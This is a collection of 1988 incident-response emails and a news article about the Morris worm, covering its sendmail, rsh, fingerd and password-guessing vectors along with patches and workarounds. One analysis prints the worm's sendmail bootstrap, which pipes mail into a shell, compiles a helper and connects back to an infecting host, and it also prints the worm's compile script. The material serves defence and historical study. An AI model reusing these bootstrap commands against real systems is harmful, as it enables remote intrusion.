From: Stoll@DOCKMASTER.ARPA
Subject:  Virus on the Arpanet - Milnet
Date:  Thu, 3 Nov 88 06:46 EST

Re Arpanet "Sendmail" Virus attack November 3, 1988

Hi Gang!

It's now 3:45 AM on Wednesday 3 November 1988.  I'm tired, so don't
believe everything that follows... 

Apparently, there is a massive attack on Unix systems going on right
now. 

I have spoken to systems managers at several computers, on both the east
& west coast, and I suspect this may be a system wide problem. 

Symptom: hundreds or thousands of jobs start running on a Unix system
bringing response to zero. 

Systems attacked: Unix systems, 4.3BSD unix & variants (eg: SUNs) any
sendmail compiled with debug has this problem.  See below. 

This virus is spreading very quickly over the Milnet.  Within the past 4
hours, I have evidence that it has hit >10 sites across the country,
both Arpanet and Milnet sites.  I suspect that well over 50 sites have
been hit.  Most of these are "major" sites and gateways. 

Method:

Apparently, someone has written a program that uses a hole in SMTP
Sendmail utility.  This utility can send a message into another program. 

Step 1:  from a distant Milnet host, a message is sent to Sendmail
       to fire up SED, (SED is an editor)  This is possible in certain
       versions of sendmail (see below).

2:  A 99 line C program is sent to SED through Sendmail.

3:  The distant computer sends a command to compile this C program.

4:  Several object files are copied into the Unix computer.
        There are 3 files:  one targeted to Sun
                            one targeted to SUN-3
                            one targeted to vax    (ultrix probably, not vms)

5:  The C program accepts as address other Milnet sites

6:  Apparently, program scans for other Milnet/arpanet addresses and
     repeats this process.

The bug in Sendmail:

When the Unix 4.3 BSD version of Sendmail is compiled with the Debug
option, there's a hole in it. 

Most Unix systems (BSD 4.3 and Suns) apparently do not have this bug. 
It exists only where the system manager recompiled Sendmail and enabled
debugging. 

This is bad news.

  Cliff Stoll dockmaster.arpa

----------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: More on the virus
Date: Thu, 03 Nov 88 09:52:18 EST

All of our Vaxen and some of our Suns here were infected with the virus. 
The virus forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The virus seems to consist of two parts.  I managed to grab the source
code for one part, but not the main component (the virus cleans up after
itself so as not to leave evidence).  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and gets a shell. 

2) The shell creates a file in /tmp named $$,l1.c (where the $$ gets
replaced by the current process id) and copies code for a "listener" or
"helper" program.  This is just a few dozen lines long and fairly
generic code.  The shell compiles this helper using the "cc" command
local to the system. 

3) The helper is invoked with arguments pointing back at the infecting
virus (giving hostid/socket/passwords as arguments). 

4) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting virus program on the other
end of the socket. 

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

5) The newly exec'd shell attempts to compile itself from the files
copied over to the target machine.  I'm not sure what else the virus
does, if anything -- it may also be attempting to add a bogus passwd
file entry or do something to the file system.  The helper program has
an array of 20 filenames for the "helper" to copy over, so there is room
to spare.  There are two versions copied -- a version for Vax BSD and a
version for SunOS; the appropriate one is compiled. 

6) The new virus is dispatched.  This virus opens all the virus source
files, then unlinks the files so they can't be found (since it has them
open, however, it can still access the contents).  Next, the virus steps
through the hosts file (on the Sun, it uses YP to step through the
distributed hosts file) trying to connect to other machines' sendmail. 
If a connection succeeds, it forks a child process to infect it, while
the parent continues to attempt infection of other machines. 

7) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above). 

The heavy load we see is the result of multiple viruses coming in from
multiple sites.  Since local hosts files tend to have entries for other
local hosts, the virus tends to infect local machines multiple times --
in some senses this is lucky since it helps prevent the spread of the
virus as the local machines slow down. 

The virus also "cleans" up after itself.  If you reboot an infected
machine (or it crashes), the /tmp directory is normally cleaned up on
reboot.  The other incriminating files were already deleted by the virus
itself. 

Clever, nasty, and definitely anti-social.  

--spaf

---------------------------------------------------------------------------
From: bishop@bear.Dartmouth.EDU (Matt Bishop)
Subject: More on the virus
Date: Thu, 3 Nov 88 16:32:25 EST

...  This program introduced itself through a bug in sendmail.  At these
sites, sendmail was compiled and installed with a debugging option
turned on.  As near as I can figure (I don't have access to the sendmail
sources), by giving a specific option to the "debug" command in sendmail
(there are lots of those, controlling what exactly you get information
about) you can cause it to execute a command.  As sendmail runs setuid
to root, guess what privileges the command is executed with.  Right. 

	Apparently what the attacker did was this: he or she connected
to sendmail (ie, telnet victim.machine 25), issued the appropriate debug
command, and had a small C program compiled.  (We have it.  Big deal.)
This program took as an argument a host number, and copied two programs
-- one ending in q.vax.o and the other ending in .sun.o -- and tried to
load and execute them.  In those cases where the load and execution
succeeded, the worm did two things (at least): spawn a lot of shells
that did nothing but clog the process table and burn CPU cycles; look in
two places -- the password file and the internet services file -- for
other sites it could connect to (this is hearsay, but I don't doubt it
for a minute.) It used both individual .rhost files (which it found
using the password file), and any other remote hosts it could locate
which it had a chance of connecting to.  It may have done more; one of
our machines had a changed superuser password, but because of other
factors we're not sure this worm did it. 

	This last part is still sketchy; I have the relevant sun.o file
and will take it apart to see just what it was supposed to do.  As of
now, it appears there was no serious damage (just wasted CPU cycles and
system administrator time). 

   Two obvious points:

1.  Whoever did this picked only on suns and vaxen.  One site with a lot
    of IRISes and two Crays (ie, NASA Ames) got bit on their Suns and Vaxen,
    but the attempt to get the other machines didn't work.

2.  This shows the sorry state of software and security in the UNIX world.
    People should NEVER put a program with debugging hooks in it, especially
    when the hook is (or can be made) to execute an arbitrary command.  But
    that is how the sendmail which was used was distributed!

	One more interesting point: initially, I thought an application
of the "principle of least privilege" would have prevented this
penetration.  But the attacker used a world-writeable directory to
squirrel the relevant programs in, so -- in effect -- everything could
have been done by any user on the system! (Except the superuser password
change, of course -- if this worm did in fact do it.)

	I think the only way to prevent such an attack would have been
to turn off the deug option on sendmail; then the penetration would
fail.  It goes to show that if the computer is not secure (and like you,
I don't believe there ever will be such a beastie), there is simply no
way to prevent a virus (or, in this case, a worm) from getting into that
system. 

	I know this is somewhat sketchy, flabby, and fuzzy, but it's all
I know so far.  I'll keep you posted on developments ... 

Matt

------------------------------------------------------------------------
From: bostic@okeeffe.Berkeley.EDU (Keith Bostic)
Subject: Virus (READ THIS IMMEDIATELY)
Date: 3 Nov 88 10:58:55 GMT


Subject: Fixes for the virus
Index: usr.lib/sendmail/src/srvrsmtp.c 4BSD

Description:
	There's a virus running around; the salient facts.  A bug in
	sendmail has been used to introduce a virus into a lot of
	Internet UNIX systems.  It has not been observed to damage the
	host system, however, it's incredibly virulent, attempting to
	introduce itself to every system it can find.  It appears to
	use rsh, broken passwords, and sendmail to introduce itself
	into the target systems.  It affects only VAXen and Suns, as
	far as we know.  

	There are three changes that we believe will immunize your
	system.  They are attached.

	Thanks to the Experimental Computing Facility, Center for
	Disease Control for their assistance.  (It's pretty late,
	and they certainly deserved some thanks, somewhere!)

Fix:
	First, either recompile or patch sendmail to disallow the `debug'
	option.  If you have source, recompile sendmail after first
	applying the following patch to the module svrsmtp.c:

		*** /tmp/d22039	Thu Nov  3 02:26:20 1988
		--- srvrsmtp.c	Thu Nov  3 01:21:04 1988
		***************
		*** 85,92 ****
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		- 	"debug",	CMDDBGDEBUG,
		  # endif DEBUG
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ
		--- 85,94 ----
		  	"onex",		CMDONEX,
		  # ifdef DEBUG
		  	"showq",	CMDDBGQSHOW,
		  # endif DEBUG
		+ # ifdef notdef
		+ 	"debug",	CMDDBGDEBUG,
		+ # endif notdef
		  # ifdef WIZ
		  	"kill",		CMDDBGKILL,
		  # endif WIZ

	Then, reinstall sendmail, refreeze the configuration file,
	using the command "/usr/lib/sendmail -bz", kill any running
	sendmail's, using the ps(1) command and the kill(1) command,
	and restart your sendmail.  To find out how sendmail is 
	execed on your system, use grep(1) to find the sendmail start
	line in either the files /etc/rc or /etc/rc.local

	If you don't have source, apply the following patch to your
	sendmail binary.  SAVE A COPY OF IT FIRST, IN CASE YOU MESS
	UP!  This is mildly tricky -- note, some versions of strings(1),
	which we're going to use to find the offset of the string 
	"debug" in the binary print out the offsets in octal, not
	decimal.  Run the following shell line to decide how your
	version of strings(1) works:

		/bin/echo 'abcd' | /usr/ucb/strings -o 

	Note, make sure the eight control 'G's are preserved in this
	line.  If this command results in something like:

		0000008 abcd

	your strings(1) command prints out locations in decimal, else
	it's octal.

	The patch script for sendmail.  NOTE, YOUR OFFSETS MAY VARY!!
	This script assumes that your strings(1) command prints out
	the offsets in decimal.  

		Script started on Thu Nov  3 02:08:14 1988
		okeeffe:tmp {2} strings -o -a /usr/lib/sendmail | egrep debug
		0096972 debug
		okeeffe:tmp {3} adb -w /usr/lib/sendmail
		?m 0 0xffffffff 0
		0t10$d
		radix=10 base ten
		96972?s
		96972:		debug
		96972?w 0
		96972:		25701	=	0
		okeeffe:tmp {4} ^D
		script done on Thu Nov  3 02:09:31 1988

	If your strings(1) command prints out the offsets in octal,
	change the line "0t10$d" to "0t8$d".

	After you've fixed sendmail, move both /bin/cc and /bin/ld to
	something else.  (The virus uses the cc and the ld commands
	to rebuild itself to run on your system.)

	Finally, kill any processes on your system that don't belong there.
	Suspicious ones have "(sh)" or "xNNNNNNN" where the N's are random
	digits, as the command name on the ps(1) output line.

	One more thing, if you find files in /tmp or /usr/tmp that 
	have names like "xNNNNNN,l1.c", or "xNNNNNN,sun3.o", or
	"xNNNNNNN,vax.o" where the N's are random digits, you've been
	infected.


------------------------------------------------------------------------
From: news@cs.purdue.EDU (News Knower)
Subject: Re: The virus
Date: 3 Nov 88 19:58:27 GMT

The patch from Keith Bostic in the last message is *not* sufficient to
halt the spread of the virus.  We have discovered from looking at the
binaries that the virus also attempts to spread itself via "rsh"
commands to other machines.  It looks through a *lot* of files to find
possible vectors to spread. 

If you have a bunch of machines with hosts.equiv set or .rhosts files,
you should shut them *all* down at the same time after you have fixed
sendmail to prevent a further infestation.  If you don't clear out the
versions in memory, you won't protect your other machines. 

The virus runs itself with the name "sh" and then overwrites argv, so if
a "ps ax" shows any processes named "(sh)" without a controlling tty,
you have a problem.  Due to the use of other uids from rsh, don't make
any conclusions if the uid is one of your normal users. 

Also, check your mailq (do a mailq command).  If you see any entries
that pipe themselves through sed and sh, delete them from the queue
before you restart your machines. 

Non-internet sites do not need to worry about this virus (for now!), but
be aware that mail and news may not be flowing everywhere for some time
-- many sites are disconnecting from the Internet completely until the
virus is contained.

-----------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: Updated worm report
Date: Fri, 04 Nov 88 00:27:54 EST

This is an updated description of how the worm works (note: it is
technically a worm, not a virus, since it does not attach itself to
other code {that we know about}):

All of our Vaxen and some of our Suns here were infected with the worm. 
The worm forks repeated copies of itself as it tries to spread itself,
and the load averages on the infected machines skyrocketed.  In fact, it
got to the point that some of the machines ran out of swap space and
kernel table entries, preventing login to even see what was going on!

The worm seems to consist of two parts.  The way that it works is as
follows:

1) Virus running on an infected machine opens a TCP connection to a
victim machine's sendmail, invokes debug mode, and submits a version of
itself as a mail message. 

*OR* it uses rsh to create itself on the remote machine through an
account requiring no password (due to hosts.equiv or .rhosts entries). 
*OR* it gets in via a bug in fingerd *OR* it uses telnet (more on this
later). 

Using the sendmail route, it does something like:
From: /dev/null
To: "|sed -e 1,/^$/d | sh; exit 0"

cd /usr/tmp
cat > x14481910.c <<'EOF'
<text of program deleted?
EOF
cc -o x14481910 x14481910.c;x14481910 128.10.2.215 32341 8712440;rm -f x14481910 x14481910.c

2) This program is a simple "listener" or "helper" program of about a
hundred lines of fairly simple code.  As you can see, the helper is
invoked with arguments pointing back at the infecting worm (giving
hostid/socket/checksum(?) as arguments). 

3) The helper then connects to the "server" and copies a number of files
(presumably to /tmp).  After the files are copied, it exec's a shell
with standard input coming from the infecting worm program on the other
end of the socket. 

From here, I speculate on what happens since I can't find the source to
this part lying around on our machines:

4) The newly exec'd shell attempts to compile itself from the files copied over
to the target machine.  The command file it uses is as follows:

PATH=/bin:/usr/bin:/usr/ucb
rm -f sh
if [ -f sh ]
then
P=x%d
else
P=sh
cc -o $P %s
/bin/echo %s
./$P -p $$ 

5) This creates and dispatches the new worm..  This worm opens all the
worm source files, then unlinks the files so they can't be found (since
it has them open, however, it can still access the contents).  Next, the
worm steps through the hosts file (on the Sun, it uses YP to step
through the distributed hosts file) trying to connect to other machines'
sendmail.  If a connection succeeds, it forks a child process to infect
it, while the parent continues to attempt infection of other machines. 

6) The child requests and initializes a new socket, then builds and
invokes a listener with the new socket number and hostid as arguments
(#1, above). 

Other notes:

The worm runs in stages.  It first collects info from the /etc/hosts
files, the hosts.equiv file, and other files containing host names and
host IP addresses.  It even runs netstat to find out what networks the
machine is attached to! It uses this information to attempt to penetrate
sendmail on those machines.  It also knows how to penetrate "fingerd" on
Vaxen (on Suns, the attempt results in a core dump).  I will privately
tell individuals how to fix the bug in fingerd, but for now change it so
it does not run as "root". 

After this first stage, it appears to sleep for a while.  Then it starts
collecting user names and it begins probing with "rsh".  It also tries
to attack the passwords by trying a set of built-in words, the contents
of /usr/dict, and words snarfed from system files.  If it succeeds in
breaking a local password, it forks a child to use telnet to break into
that account and copy itself. 

As I write this, no one seems to know what it is supposed to eventually
do.  Perhaps it just breaks in everywhere it can.  We do know that if it
doesn't break into any accounts or systems for a while, it enters a mode
where it tries to break the root password via brute force searching.  We
suspect that if it succeeds it then does very nasty things. 

Other notes:

The program corrupts its argument vector, so it appears in a "ps ax" as
"(sh)" (a login shell).  Don't trust any of these if you have them
running. 

The program doesn't copy around source files (except the helper) -- it
copies around pre-compiled binaries that are linked on the local machine
and then run.  The worm appears to only be carrying binaries for
68020-based Suns and Vax 7xx and 8800 machines.  Pyramids, Sun 2's and
Sequents are all definitely immune.  (Note: an infected 8800 is an
awesome engine of contagion.)

The strings in the binaries are encrypted against a random "strings"
invocation.  If you have a binary, Keith Bostic informs me that Xor with
0x81 will reveal interesting things, although that is not the only mask
used. 

The first observation of the virus I have heard about was 6pm Wednesday
night in Pittsburgh.  It didn't hit Purdue until about 4 this morning. 
We were lucky in that other sites, like CMU and Princeton, were hit
around 11 last night. 

Acknowledgements: Some of the above information was obtained from Brian
Kantor (UCSD), Keith Bostic (UCB), Thomas Narten (Purdue), Dan Trinkle
(Purdue), Kevin Braunsdorf (Purdue) and Miek Rowan (Purdue).  Thanks,
guys. 

---------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A worm "condom"
Date: Thu, 03 Nov 88 21:20:10 EST

... Kevin Braunsdorf & Rich Kulawiec (Purdue-CC) have come up with a
"condom" to protect your machine against the CURRENT worm.  They are not
100% sure it works, but it seems to be completely effective and it can't
do any harm.  As ROOT, do:

mkdir /usr/tmp/sh
chmod 111 /usr/tmp/sh

Then edit your rc.local file to recreate the directory in case of a
reboot.  This will not stop a current infection, but it will prevent any
new ones from taking hold -- it prevents the worm from creating
replicas. 

... --spaf

-------------------------------------------------------------------------
From: Gene Spafford <spaf@purdue.edu>
Subject: A cure!!!!!
Date: Thu, 03 Nov 88 22:04:15 EST

FLASH!!

Kevin ("Adb's your friend.") Braunsdorf just burst into my office with a
cure discovered in the disassembled worm binary. 

If there is an external variable in the library named "pleasequit" that
is non-zero, the worm will die immediately after exiting.  Thus, to kill
any new worms, include a patch in your library that defines the symbol. 
The following shell file and source code will modify your C library to
define this symbol. 

It WON'T kill any currently linked and running versions, but it will
prevent reinfection. 

# Shar archive.  Give the following as input to /bin/sh
#  Packed Thu Nov  3 21:56:35 EST 1988 by spaf@uther.cs.purdue.edu
#
#  This archive contains:
#	foo.sh
#	foo.c
#
#
echo x - foo.sh
sed 's/^X//' >foo.sh <<'*-*-END-of-foo.sh-*-*'
Xcc -c foo.c -o foo.o
Xcp /lib/libc.a /lib/libc.a.old
Xar q /lib/libc.a foo.o
Xranlib /lib/libc.a
*-*-END-of-foo.sh-*-*
echo x - foo.c
sed 's/^X//' >foo.c <<'*-*-END-of-foo.c-*-*'
Xextern int pleasequit = -1;
*-*-END-of-foo.c-*-*
exit

------------------------------------------------------------------------
From: geoff@fernwood.mpk.ca.us (the tty of Geoff Goodfellow)
Subject: Computer Network Disrupted by `Virus'
Date: Thu, 3 Nov 88 21:30:19 PST

COMPUTER NETWORK DISRUPTED BY `VIRUS'
By JOHN MARKOFF=
c.1988 N.Y. Times News Service=

    In an intrusion that raises new questions about the vulnerability of
the nation's computers, a nationwide Department of Defense data network
has been disrupted since Wednesday night by a rapidly spreading
``virus'' software program apparently introduced by a computer science
student's malicious experiment. 

     The program reproduced itself through the computer network, making
hundreds of copies in each machine it reached, effectively clogging
systems linking thousands of military, corporate and university
computers around the country and preventing them from doing additional
work.  The virus is thought not to have destroyed any files. 

    By late Thursday afternoon computer security experts were calling
the virus the largest assault ever on the nation's computers. 

    ``The big issue is that a relatively benign software program can
virtually bring our computing community to its knees and keep it there
for some time,'' said Chuck Cole, deputy computer security manager at
Lawerence Livermore Laboratory in Livermore, Calif., one of the sites
affected by the intrusion.  ``The cost is going to be staggering.''

    Clifford Stoll,^ @a computer security expert at Harvard University,
added: ``There is not one system manager who is not tearing his hair
out.  It's causing enormous headaches.''

   The affected computers carry routine communications among military
officials, researchers and corporations. 

   While some sensitive military data are involved, the nation's most
sensitive secret information, such as that on the control of nuclear
weapons, is thought not to have been touched by the virus. 

   Computer viruses are so named because they parallel in the computer
world the behavior of biological viruses.  A virus is a program, or a
set of instructions to a computer, that is deliberately planted on a
floppy disk meant to be used with the computer or introduced when the
computer is communicating over telephone lines or data networks with
other computers. 

   The programs can copy themselves into the computer's master software,
or operating system, usually without calling any attention to
themselves.  From there, the program can be passed to additional
computers. 

   Depending upon the intent of the software's creator, the program
might cause a provocative but otherwise harmless message to appear on
the computer's screen.  Or it could systematically destroy data in the
computer's memory. 

   The virus program was apparently the result of an experiment by a
computer science graduate student trying to sneak what he thought was a
harmless virus into the Arpanet computer network, which is used by
universities, military contractors and the Pentagon, where the software
program would remain undetected. 

    A man who said he was an associate of the student said in a
telephone call to The New York Times that the experiment went awry
because of a small programming mistake that caused the virus to multiply
around the military network hundreds of times faster than had been
planned. 

   The caller, who refused to identify himself or the programmer, said
the student realized his error shortly after letting the program loose
and that he was now terrified of the consequences. 

   A spokesman at the Pentagon's Defense Communications Agency, which
has set up an emergency center to deal with the problem, said the
caller's story was a ``plausible explanation of the events.''

   As the virus spread Wednesday night, computer experts began a huge
struggle to eradicate the invader. 

   A spokesman for the Defense Communications Agency in Washington
acknowledged the attack, saying, ``A virus has been identified in
several host computers attached to the Arpanet and the unclassified
portion of the defense data network known as the Milnet.''

   He said that corrections to the security flaws exploited by the virus
are now being developed. 

   The Arpanet data communications network was established in 1969 and
is designed to permit computer researchers to share electronic messages,
programs and data such as project information, budget projections and
research results. 

   In 1983 the network was split and the second network, called Milnet,
was reserved for higher-security military communications.  But Milnet is
thought not to handle the most classified military information,
including data related to the control of nuclear weapons. 

   The Arpanet and Milnet networks are connected to hundreds of civilian
networks that link computers around the globe. 

   There were reports of the virus at hundreds of locations on both
coasts, including, on the East Coast, computers at the Massachusetts
Institute of Technology, Harvard University, the Naval Research
Laboratory in Maryland and the University of Maryland and, on the West
Coast, NASA's Ames Research Center in Mountain View, Calif.; Lawrence
Livermore Laboratories; Stanford University; SRI International in Menlo
Park, Calif.; the University of California's Berkeley and San Diego
campuses and the Naval Ocean Systems Command in San Diego. 

   A spokesman at the Naval Ocean Systems Command said that its computer
systems had been attacked Wednesday evening and that the virus had
disabled many of the systems by overloading them.  He said that computer
programs at the facility were still working on the problem more than 19
hours after the original incident. 

   The unidentified caller said the Arpanet virus was intended simply to
``live'' secretly in the Arpanet network by slowly copying itself from
computer to computer.  However, because the designer did not completely
understand how the network worked, it quickly copied itself thousands of
times from machine to machine. 

    Computer experts who disassembled the program said that it was
written with remarkable skill and that it exploited three security flaws
in the Arpanet network.  [No.  Actually UNIX] The virus' design included
a program designed to steal passwords, then masquerade as a legitimate
user to copy itself to a remote machine. 

    Computer security experts said that the episode illustrated the
vulnerability of computer systems and that incidents like this could be
expected to happen repeatedly if awareness about computer security risks
was not heightened. 

    ``This was an accident waiting to happen; we deserved it,'' said
Geoffrey Goodfellow,''(*) president of Anterior Technology Inc.  and an
expert on computer communications. 

   ``We needed something like this to bring us to our senses.  We have
not been paying much attention to protecting ourselves.''

   Peter Neumann, a computer security expert at SRI International Inc. 
in Menlo Park International, said: ``Thus far the disasters we have
known have been relatively minor.  The potential for rather
extraordinary destruction is rather substantial. 

    ``In most of the cases we know of, the damage has been immediately
evident.  But if you contemplate the effects of hidden programs, you
could have attacks going on and you might never know it.''


[* Following is Geoff's full quote ("exploitation"), which John only
partially integrated with Geoff's earlier off-the-cuff comment
("accident"):

    "This was an exploitation wanting to happen.  We deserved it.  We
needed something like this to bring us to our senses.  We have not been
paying much attention to protecting ourselves.  The blame does not rest
on the R&D community as a whole.  Look how many manufacturers [...] just
took the original computer-science-department developed code
willy-nilly, put their wrapper and corporate logo on it, and resold it
to customers.  That's the real travesty here, we build these systems,
OK, that's great, but we rarely build them and then ask how they might
be abused, broken, or circumvented" {and then try to break them}.  ]

